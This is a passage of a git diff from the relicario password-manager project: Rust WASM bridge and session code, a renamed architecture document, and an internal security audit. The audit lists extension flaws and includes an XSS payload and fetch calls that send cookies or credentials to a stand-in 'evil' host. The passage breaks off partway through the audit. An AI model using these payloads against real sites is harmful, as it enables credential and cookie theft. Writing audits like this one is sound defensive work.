#[wasm_bindgen]
|
||||
pub fn settings_encrypt(handle: &SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError> {
|
||||
need_key(handle)?;
|
||||
let s: VaultSettings = serde_json::from_str(settings_json)
|
||||
.map_err(|e| JsError::new(&format!("settings json: {e}")))?;
|
||||
session::with(handle.0, |k| encrypt_settings(&s, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))
|
||||
}
|
||||
|
||||
// ── Task 20: attachment / generator / imgsecret / ID / TOTP bridges ─────────
|
||||
|
||||
use relicario_core::{decrypt_attachment, encrypt_attachment, FieldId, ItemId};
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub struct EncryptedAttachment {
|
||||
aid: String,
|
||||
bytes: Vec<u8>,
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
impl EncryptedAttachment {
|
||||
#[wasm_bindgen(getter)] pub fn aid(&self) -> String { self.aid.clone() }
|
||||
#[wasm_bindgen(getter)] pub fn bytes(&self) -> Vec<u8> { self.bytes.clone() }
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn attachment_encrypt(
|
||||
handle: &SessionHandle,
|
||||
plaintext: &[u8],
|
||||
max_bytes: u64,
|
||||
) -> Result<EncryptedAttachment, JsError> {
|
||||
need_key(handle)?;
|
||||
let enc = session::with(handle.0, |k| encrypt_attachment(plaintext, k, max_bytes))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
Ok(EncryptedAttachment { aid: enc.id.as_str().to_owned(), bytes: enc.bytes })
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn attachment_decrypt(
|
||||
handle: &SessionHandle,
|
||||
encrypted: &[u8],
|
||||
) -> Result<Vec<u8>, JsError> {
|
||||
need_key(handle)?;
|
||||
let plain = session::with(handle.0, |k| decrypt_attachment(encrypted, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
Ok(plain.to_vec())
|
||||
}
|
||||
|
||||
#[wasm_bindgen] pub fn new_item_id() -> String { ItemId::new().as_str().to_owned() }
|
||||
#[wasm_bindgen] pub fn new_field_id() -> String { FieldId::new().as_str().to_owned() }
|
||||
|
||||
use relicario_core::{
|
||||
generate_passphrase as core_generate_passphrase,
|
||||
generate_password as core_generate_password,
|
||||
rate_passphrase as core_rate_passphrase,
|
||||
GeneratorRequest,
|
||||
};
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn generate_password(request_json: &str) -> Result<String, JsError> {
|
||||
let req: GeneratorRequest = serde_json::from_str(request_json)
|
||||
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
|
||||
let out = core_generate_password(&req).map_err(|e| JsError::new(&e.to_string()))?;
|
||||
Ok(out.as_str().to_owned())
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn generate_passphrase(request_json: &str) -> Result<String, JsError> {
|
||||
let req: GeneratorRequest = serde_json::from_str(request_json)
|
||||
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
|
||||
let out = core_generate_passphrase(&req).map_err(|e| JsError::new(&e.to_string()))?;
|
||||
Ok(out.as_str().to_owned())
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError> {
|
||||
let est = core_rate_passphrase(p);
|
||||
js_value_for(&serde_json::json!({
|
||||
"score": est.score,
|
||||
"guesses_log10": est.guesses_log10,
|
||||
}))
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError> {
|
||||
let s = imgsecret::extract(image_bytes).map_err(|e| JsError::new(&e.to_string()))?;
|
||||
Ok(s.to_vec())
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn embed_image_secret(carrier: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError> {
|
||||
let s: &[u8; 32] = secret.try_into()
|
||||
.map_err(|_| JsError::new("secret must be exactly 32 bytes"))?;
|
||||
imgsecret::embed(carrier, s).map_err(|e| JsError::new(&e.to_string()))
|
||||
}
|
||||
|
||||
use relicario_core::item_types::{TotpConfig, compute_totp_code};
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub struct TotpCode {
|
||||
code: String,
|
||||
expires_at: u64,
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
impl TotpCode {
|
||||
#[wasm_bindgen(getter)] pub fn code(&self) -> String { self.code.clone() }
|
||||
#[wasm_bindgen(getter)] pub fn expires_at(&self) -> u64 { self.expires_at }
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn totp_compute(
|
||||
config_json: &str,
|
||||
now_unix_seconds: u64,
|
||||
) -> Result<TotpCode, JsError> {
|
||||
let cfg: TotpConfig = serde_json::from_str(config_json)
|
||||
.map_err(|e| JsError::new(&format!("totp config: {e}")))?;
|
||||
let code = compute_totp_code(&cfg, now_unix_seconds)
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
let period = cfg.period_seconds as u64;
|
||||
let expires_at = ((now_unix_seconds / period) + 1) * period;
|
||||
Ok(TotpCode { code, expires_at })
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod session_tests {
|
||||
use super::*;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
#[test]
|
||||
fn insert_then_remove_clears_entry() {
|
||||
session::clear();
|
||||
let h = session::insert(Zeroizing::new([0x11u8; 32]));
|
||||
assert_ne!(h, 0);
|
||||
assert!(session::remove(h));
|
||||
assert!(!session::remove(h)); // second remove false
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn with_yields_key_only_while_session_lives() {
|
||||
session::clear();
|
||||
let h = session::insert(Zeroizing::new([0x22u8; 32]));
|
||||
let byte = session::with(h, |k| k[0]);
|
||||
assert_eq!(byte, Some(0x22));
|
||||
session::remove(h);
|
||||
let byte = session::with(h, |k| k[0]);
|
||||
assert_eq!(byte, None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_round_trip_via_handle() {
|
||||
use relicario_core::{Manifest, decrypt_manifest};
|
||||
session::clear();
|
||||
let h = session::insert(Zeroizing::new([0x55u8; 32]));
|
||||
let handle = SessionHandle(h);
|
||||
let key = Zeroizing::new([0x55u8; 32]);
|
||||
let empty = Manifest::new();
|
||||
let bytes = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
|
||||
assert!(!bytes.is_empty());
|
||||
// Decrypt via core directly (avoids js-sys on native).
|
||||
let parsed: Manifest = decrypt_manifest(&bytes, &key).unwrap();
|
||||
assert_eq!(parsed.items.len(), 0);
|
||||
// Random nonces mean two encryptions of the same plaintext differ.
|
||||
let bytes2 = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
|
||||
assert_ne!(bytes, bytes2, "nonces must differ");
|
||||
}
|
||||
}
|
||||
41
crates/relicario-wasm/src/session.rs
Normal file
41
crates/relicario-wasm/src/session.rs
Normal file
@@ -0,0 +1,41 @@
|
||||
//! Opaque session-handle bridge. The master key never leaves WASM linear
|
||||
//! memory; JS receives only a u32 handle that it passes back on every
|
||||
//! subsequent call.
|
||||
|
||||
use std::cell::RefCell;
|
||||
use std::collections::HashMap;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
thread_local! {
|
||||
static SESSIONS: RefCell<HashMap<u32, Zeroizing<[u8; 32]>>> = RefCell::new(HashMap::new());
|
||||
static NEXT_HANDLE: RefCell<u32> = const { RefCell::new(1) };
|
||||
}
|
||||
|
||||
pub fn insert(key: Zeroizing<[u8; 32]>) -> u32 {
|
||||
let handle = NEXT_HANDLE.with(|n| {
|
||||
let mut n = n.borrow_mut();
|
||||
let h = *n;
|
||||
*n = n.wrapping_add(1);
|
||||
if *n == 0 { *n = 1; } // avoid reserving 0 as a valid handle
|
||||
h
|
||||
});
|
||||
SESSIONS.with(|s| { s.borrow_mut().insert(handle, key); });
|
||||
handle
|
||||
}
|
||||
|
||||
pub fn with<F, R>(handle: u32, f: F) -> Option<R>
|
||||
where
|
||||
F: FnOnce(&Zeroizing<[u8; 32]>) -> R,
|
||||
{
|
||||
SESSIONS.with(|s| s.borrow().get(&handle).map(f))
|
||||
}
|
||||
|
||||
pub fn remove(handle: u32) -> bool {
|
||||
SESSIONS.with(|s| s.borrow_mut().remove(&handle).is_some())
|
||||
}
|
||||
|
||||
/// For tests only — empty the table and wipe all sessions.
|
||||
#[cfg(test)]
|
||||
pub fn clear() {
|
||||
SESSIONS.with(|s| s.borrow_mut().clear());
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
# idfoto — Architecture
|
||||
# relicario — Architecture
|
||||
|
||||
## System Overview
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
│ CLIENT DEVICE (trusted) │
|
||||
│ │
|
||||
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────────────┐ │
|
||||
│ │ Reference │ │ Passphrase │ │ idfoto-cli │ │
|
||||
│ │ Reference │ │ Passphrase │ │ relicario-cli │ │
|
||||
│ │ JPEG │ │ (typed) │ │ or browser ext │ │
|
||||
│ │ (on disk) │ │ │ │ │ │
|
||||
│ └──────┬───────┘ └──────┬───────┘ └──────────┬───────────┘ │
|
||||
@@ -42,12 +42,12 @@
|
||||
┌──────────────────────────────────────────────────────────────────┐
|
||||
│ GIT SERVER (untrusted) │
|
||||
│ │
|
||||
│ idfoto-vault.git/ │
|
||||
│ relicario-vault.git/ │
|
||||
│ ├── manifest.enc ← opaque ciphertext │
|
||||
│ ├── entries/ │
|
||||
│ │ ├── a1b2c3d4.enc ← opaque ciphertext │
|
||||
│ │ └── e5f6a7b8.enc ← opaque ciphertext │
|
||||
│ └── .idfoto/ │
|
||||
│ └── .relicario/ │
|
||||
│ ├── salt ← 32 bytes (not secret) │
|
||||
│ ├── params.json ← KDF params (not secret) │
|
||||
│ └── devices.json ← device public keys (not secret) │
|
||||
@@ -209,15 +209,15 @@ Input JPEG (possibly re-encoded or cropped)
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────┐
|
||||
│ idfoto-cli │
|
||||
│ relicario-cli │
|
||||
│ Filesystem, git (shelling out), terminal I/O, clipboard │
|
||||
│ │
|
||||
│ Depends on: idfoto-core, clap, anyhow, rpassword, arboard │
|
||||
│ Depends on: relicario-core, clap, anyhow, rpassword, arboard │
|
||||
└──────────────────────┬─────────────────────────────────────┘
|
||||
│ uses
|
||||
▼
|
||||
┌────────────────────────────────────────────────────────────┐
|
||||
│ idfoto-core │
|
||||
│ relicario-core │
|
||||
│ Platform-agnostic: bytes in, bytes out │
|
||||
│ No filesystem, no network, no git │
|
||||
│ │
|
||||
@@ -230,7 +230,7 @@ Input JPEG (possibly re-encoded or cropped)
|
||||
│ │ │ │ QIM │ │ │ │ manifest() │ │
|
||||
│ └──────────┘ └──────────┘ └─────────┘ └────────────┘ │
|
||||
│ │
|
||||
│ Future: idfoto-wasm wraps this for browser extension │
|
||||
│ Future: relicario-wasm wraps this for browser extension │
|
||||
│ Future: JNI/Swift wrappers for Android/iOS │
|
||||
└────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
372
docs/superpowers/audits/2026-04-18-initial-security-audit.md
Normal file
372
docs/superpowers/audits/2026-04-18-initial-security-audit.md
Normal file
@@ -0,0 +1,372 @@
|
||||
# relicario Security Audit Report
|
||||
|
||||
**Date:** 2026-04-18
|
||||
**Scope:** Full static review of `crates/relicario-core/`, `crates/relicario-cli/`, `crates/relicario-wasm/`, `extension/src/`, both manifests, both webpack configs, and the design spec at `docs/superpowers/specs/2026-04-11-relicario-design.md`.
|
||||
**Methodology:** Static review against the project's documented threat model.
|
||||
|
||||
---
|
||||
|
||||
## CRITICAL
|
||||
|
||||
### C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension
|
||||
|
||||
**File:** `extension/manifest.json:33-36`, `extension/manifest.firefox.json:38-40`; consumed by `extension/src/setup/setup.ts:540-568` and `extension/src/service-worker/index.ts:314-322`.
|
||||
|
||||
**Issue:** `setup.html` and `setup.js` are listed in `web_accessible_resources` with `matches: ["<all_urls>"]`. The setup page calls `chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 })` from the *page context* (not from the extension popup), and the service worker accepts that message with no sender check at all (`_sender` is unused at `service-worker/index.ts:117`). Any page on the internet can:
|
||||
|
||||
1. Open or iframe `chrome-extension://<id>/setup.html` (it's web-accessible, so framing/loading is allowed).
|
||||
2. Run JS inside that page that calls `chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '<attacker-jpeg>' })` — the setup page already has the chrome.runtime API available.
|
||||
3. Even simpler: from setup.html itself, `chrome.runtime.sendMessage` is available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded.
|
||||
|
||||
The service worker overwrites `vaultConfig` and `imageBase64` in `chrome.storage.local` (`index.ts:315-318`) and resets `gitHost = null` so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the *attacker's* manifest from the *attacker's* repo using the *attacker's* image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo.
|
||||
|
||||
This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising *neither* factor is sufficient — silently swapping the image and remote bypasses the entire scheme.
|
||||
|
||||
**Why it matters:** This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. Remove `setup.html`, `setup.js`, `relicario_wasm.js`, and `relicario_wasm_bg.wasm` from `web_accessible_resources` entirely. The setup page is opened with `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` from the popup (`setup-wizard.ts:28`), which works fine without `web_accessible_resources` for own-origin tabs.
|
||||
2. In the `save_setup` handler, validate the sender: require `sender.id === chrome.runtime.id` AND `sender.url?.startsWith(chrome.runtime.getURL('setup.html'))`. Reject all other senders.
|
||||
3. If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding.
|
||||
4. Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible.
|
||||
|
||||
---
|
||||
|
||||
### C2. Service-worker `chrome.runtime.onMessage` handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault
|
||||
|
||||
**File:** `extension/src/service-worker/index.ts:116-441`.
|
||||
|
||||
**Issue:** The handler ignores `_sender` and treats every message identically. The content script runs on `<all_urls>` and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely:
|
||||
|
||||
- A content script (one per page, injected on every site) can send `{ type: 'list_entries' }`, `{ type: 'search_entries', query: '' }`, then loop `{ type: 'get_entry', id }` for every id and ship full plaintext credentials off-domain via `fetch()`. The vault is unlocked once, then any page's content script can drain it.
|
||||
- The content script as written (`fill.ts`, `icon.ts`, `capture.ts`) only reaches for `get_credentials` after the user clicks the injected "id" icon, but **chrome.runtime.sendMessage from the content script is not gated by user gesture**. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type.
|
||||
- More immediately: the `get_credentials` handler (`index.ts:289-296`) returns the password to *any* caller, with no check that the requested `id` corresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sends `get_credentials` for an arbitrary `id` enumerated via `get_autofill_candidates` for *another* hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back."
|
||||
|
||||
**Why it matters:** Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. Split the message router into two surfaces. Popup-only operations (`unlock`, `lock`, `list_entries`, `get_entry`, `add_entry`, `update_entry`, `delete_entry`, `get_totp` for arbitrary id, `save_setup`, `get_setup_state`, `update_settings`, `get_blacklist`, `remove_blacklist`, `generate_password`) must reject if `sender.url` is not `chrome-extension://<id>/popup.html` or the setup page.
|
||||
2. Content-script-callable operations (`get_autofill_candidates`, `get_credentials`, `check_credential`, `fill_credentials`, `blacklist_site`) must verify (a) `sender.tab?.id` matches the active tab and (b) the requested entry's stored URL hostname equals `new URL(sender.tab.url).hostname` before returning a password. Today there is no such check — `get_credentials` (`index.ts:289-296`) blindly trusts the id.
|
||||
3. Require user confirmation in the popup before the first autofill on any new origin.
|
||||
|
||||
---
|
||||
|
||||
### C3. Capture prompt injects attacker-controlled DOM strings via `innerHTML` and is built on layered HTML escaping that is incomplete
|
||||
|
||||
**File:** `extension/src/content/capture.ts:172-191`, `escapeForHtml` at lines 270-274.
|
||||
|
||||
**Issue:** The capture prompt is appended to the *page's* DOM (`document.body.appendChild(container)`) with content like `${escapeForHtml(hostname)}` and `${escapeForHtml(displayUser)}` interpolated into a template literal that is then assigned to `innerHTML`. Two problems:
|
||||
|
||||
a) `escapeForHtml` uses the `div.textContent` round-trip trick. That escapes `&`, `<`, `>`, but **does not escape `"`**. The escaped value is then dropped into an HTML template inside `<strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong>` — between tags, so quotes don't matter. **However** the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain `<` or `&`), but `username` is interpolated as `${escapeForHtml(displayUser)}` where `displayUser = `(${username})``. The `username` value comes from `findUsernameValue(pwField)` (`capture.ts:26-67`) which walks the page's `<input>` values — every byte of which is attacker-controlled. A page can stuff an `<input value="<img src=x onerror=fetch('//evil/?'+document.cookie)>">` and get the prompt to render that image tag.
|
||||
|
||||
The textContent round-trip *does* escape `<`, `>`, and `&`, so injection of raw `<img>` tags is blocked. But:
|
||||
|
||||
b) The DOM the script is constructing lives in the **page's** document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (`#relicario-capture-prompt`, `#relicario-save-btn`, etc.). Page JS can:
|
||||
- Wait for the prompt to appear via `MutationObserver`, read the `<strong>` text to learn the username being saved.
|
||||
- Programmatically `.click()` `#relicario-save-btn` to silently save attacker-substituted credentials to the user's vault. (The `Save` handler reads `username` and `password` from variables captured at `showPrompt` call time, so it'll save *correct* values — but the page can replace the button's click listener via `cloneNode`/`replaceWith` or wrap it.)
|
||||
- Programmatically `.click()` `#relicario-never-btn` to suppress capture for the user's *real* sites by getting them blacklisted via a confusable hostname.
|
||||
|
||||
c) The injected button uses `id="relicario-save-btn"`. If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead.
|
||||
|
||||
**Why it matters:** The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting *any* form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get `Never`-clicked and silently blacklisted.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. Render the prompt inside a closed Shadow DOM: `const root = container.attachShadow({ mode: 'closed' });` then `root.innerHTML = ...`. Closed shadow DOM is invisible to the page's JS.
|
||||
2. Replace `escapeForHtml(displayUser)` with `textContent` assignments rather than `innerHTML`. Construct the DOM with `document.createElement` + `.textContent =` for any attacker-derived strings.
|
||||
3. Treat all values from `findUsernameValue` as fully untrusted; sanity-check they're not control characters or exceptionally long.
|
||||
4. Do not use stable IDs (`relicario-save-btn`) on elements injected into a hostile DOM.
|
||||
|
||||
---
|
||||
|
||||
### C4. Autofill has no origin check — credentials handed to any page that asks
|
||||
|
||||
**File:** `extension/src/service-worker/index.ts:283-296`, `extension/src/content/icon.ts:63-91`.
|
||||
|
||||
**Issue:** `get_autofill_candidates` accepts a `url` field from the message payload, not from `sender.tab.url`. A content script (or, given C2, anything posting a message) supplies the URL. `findByUrl` (`vault.ts:117-137`) matches by hostname equality. Then `get_credentials` returns *any* entry by id with no URL check whatsoever (`index.ts:289-296`). So:
|
||||
|
||||
- A page at `evil.com` sends `{ type: 'get_autofill_candidates', url: 'https://github.com' }` → gets back the GitHub entry id.
|
||||
- Then sends `{ type: 'get_credentials', id }` → receives the GitHub username + password in plaintext.
|
||||
- Then ships them off via `fetch('https://evil.com/exfil', { body: ... })`.
|
||||
|
||||
The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere.
|
||||
|
||||
**Why it matters:** This is the classic phishing primitive a password manager exists to prevent. relicario currently has weaker origin discipline than even a manually-typed-in form would have.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. In `get_autofill_candidates` and `get_credentials`, ignore any URL passed in the message. Use `sender.tab.url` and require `sender.tab.id === activeTabId`.
|
||||
2. Before returning a credential, confirm the entry's stored `url`'s hostname matches the sender tab's hostname. Reject otherwise.
|
||||
3. Only allow autofill in the top-level frame: check `sender.frameId === 0`.
|
||||
4. Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement).
|
||||
|
||||
---
|
||||
|
||||
## HIGH
|
||||
|
||||
### H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path
|
||||
|
||||
**File:** `crates/relicario-core/src/crypto.rs:225-227`.
|
||||
|
||||
**Issue:** `password = passphrase || image_secret`. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. `("abc", [0x44, 0x55, …])` and `("abcD", [0x55, …])` differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell.
|
||||
|
||||
**Why it matters in this threat model:** The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
```rust
|
||||
let mut password = Vec::with_capacity(8 + passphrase.len() + 32);
|
||||
password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes());
|
||||
password.extend_from_slice(passphrase);
|
||||
password.extend_from_slice(image_secret);
|
||||
```
|
||||
|
||||
Or better, use Argon2id's own `additional_data` / `secret` parameter (if exposed by the `argon2` crate's `Params`) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in `params.json` / a new `VERSION_BYTE`.
|
||||
|
||||
Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing.
|
||||
|
||||
---
|
||||
|
||||
### H2. Master key never zeroized; `Vec<u8>` from `derive_master_key` and intermediate buffers leak into reallocated heap
|
||||
|
||||
**File:** `crates/relicario-core/src/crypto.rs:205-235`, `crates/relicario-cli/src/main.rs:204-218` and every command that calls `unlock`.
|
||||
|
||||
**Issue:** The Argon2id output (`output: [u8; 32]`) is returned by value, copied into an owned `Vec` in `relicario-wasm`'s `derive_master_key` (`lib.rs:62`), then handed to JS as a `Uint8Array` whose backing memory lives in the WASM linear memory. Nothing implements `Drop` to wipe the bytes. The intermediate `password` Vec at `crypto.rs:225-227` (which contains the *passphrase plaintext* alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten.
|
||||
|
||||
In the CLI, the passphrase string from `rpassword::prompt_password_stderr` (an owned `String`) is also not zeroized. The `master_key: [u8; 32]` returned from `unlock` is just a stack array — better — but it gets passed by reference to `encrypt_entry` etc. which call into XChaCha20Poly1305 internals that may copy the key.
|
||||
|
||||
**Why it matters:** Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. Add `zeroize = "1"` and `zeroize_derive` to `relicario-core`.
|
||||
2. Wrap `master_key` in `Zeroizing<[u8; 32]>` in both `derive_master_key` return and at all CLI/WASM call sites.
|
||||
3. Wrap the temporary `password` Vec in `Zeroizing<Vec<u8>>` so its contents are wiped on drop.
|
||||
4. In the CLI, zeroize the passphrase string immediately after passing into `derive_master_key`.
|
||||
5. In the service worker, after a successful unlock, immediately overwrite the JS `passphrase` string the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived).
|
||||
6. For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a `Uint8Array`. This is a larger refactor but is the correct architecture for a password manager.
|
||||
|
||||
---
|
||||
|
||||
### H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters
|
||||
|
||||
**File:** `crates/relicario-cli/src/main.rs:354-356`, `extension/src/setup/setup.ts:74-85, 363-373`.
|
||||
|
||||
**Issue:** The CLI requires `>= 8` characters — no entropy enforcement. The extension calls `passphraseStrength()` purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (`if (!state.passphrase) bail`). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense.
|
||||
|
||||
The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack.
|
||||
|
||||
**Why it matters:** Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
1. In the extension's setup wizard, refuse to proceed unless `passphraseStrength` returns `'good'` or `'strong'`, OR display an explicit warning and require the user to type a confirmation phrase.
|
||||
2. In the CLI, integrate `zxcvbn` (Rust crate) and require an estimated guess count >= 2^45 or similar.
|
||||
3. Document the enforced minimum in the spec.
|
||||
|
||||
---
|
||||
|
||||
### H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation
|
||||
|
||||
**File:** `crates/relicario-cli/src/main.rs:239-257, 402-405, 736-756`.
|
||||
|
||||
**Issue:** Every CLI mutation runs `git add -A` then `git commit -m <message>`. There are no environmental guards:
|
||||
|
||||
- If the user has a global `commit.gpgsign = true`, `git commit` will block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2.
|
||||
- If a malicious `.git/hooks/pre-commit` script exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship in `git clone`, so this is mostly defensive. Mitigate via `git -c core.hooksPath=/dev/null`.
|
||||
- `git pull --rebase` (`main.rs:737-738`) without `--no-edit` may drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory.
|
||||
- `git add -A` (line 241) will stage anything in the working tree, including a maliciously-named file like `entries/../../etc/passwd` or symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content.
|
||||
|
||||
**Why it matters:** The shell-out is broad; tightening it is cheap defense in depth.
|
||||
|
||||
**Remediation:**
|
||||
|
||||
```rust
|
||||
Command::new("git")
|
||||
.args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false",
|
||||
"-c", "core.editor=true", "commit", "-m", message])
|
||||
```
|
||||
|
||||
Stage only the specific files the operation touched (`entries/<id>.enc`, `manifest.enc`, `.relicario/devices.json`) instead of `git add -A`.
|
||||
|
||||
---
|
||||
|
||||
### H5. WASM `generate_password` uses `Math.random()` — claimed "non-security-critical" is wrong
|
||||
|
||||
**File:** `crates/relicario-wasm/src/lib.rs:240-256`.
|
||||
|
||||
**Issue:** The doc comment says "Uses `js_sys::Math::random()` for randomness (not cryptographically secure, but sufficient for password character selection)." This is **flatly wrong**. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. `Math.random()` is V8's xorshift128+ which is:
|
||||
|
||||
- Predictable from a small number of outputs (well-published research).
|
||||
- Seeded per-realm; many realms share state across timing-correlated origins.
|
||||
- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session.
|
||||
|
||||
The ext-bundled `crypto.getRandomValues` is available in service-worker context (it's used at `setup.ts:384`). There is no reason to use `Math.random` here.
|
||||
|
||||
**Remediation:** Replace both `generate_password` and `generate_entry_id` in `relicario-wasm` to use `getrandom` (already in the dependency list with `features = ["js"]` enabled, line in `Cargo.toml`). Equivalent to:
|
||||
|
||||
```rust
|
||||
use rand::{rngs::OsRng, RngCore};
|
||||
let mut buf = [0u8; 32];
|
||||
OsRng.fill_bytes(&mut buf);
|
||||
```
|
||||
|
||||
Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug.
|
||||
|
||||
Also: the modulo-by-charset-length introduces small bias (`CHARSET.len() = 87`, not a power of two). Use rejection sampling.
|
||||
|
||||
---
|
||||
|
||||
### H6. CLI password generator has modulo bias
|
||||
|
||||
**File:** `crates/relicario-cli/src/main.rs:308-317`.
|
||||
|
||||
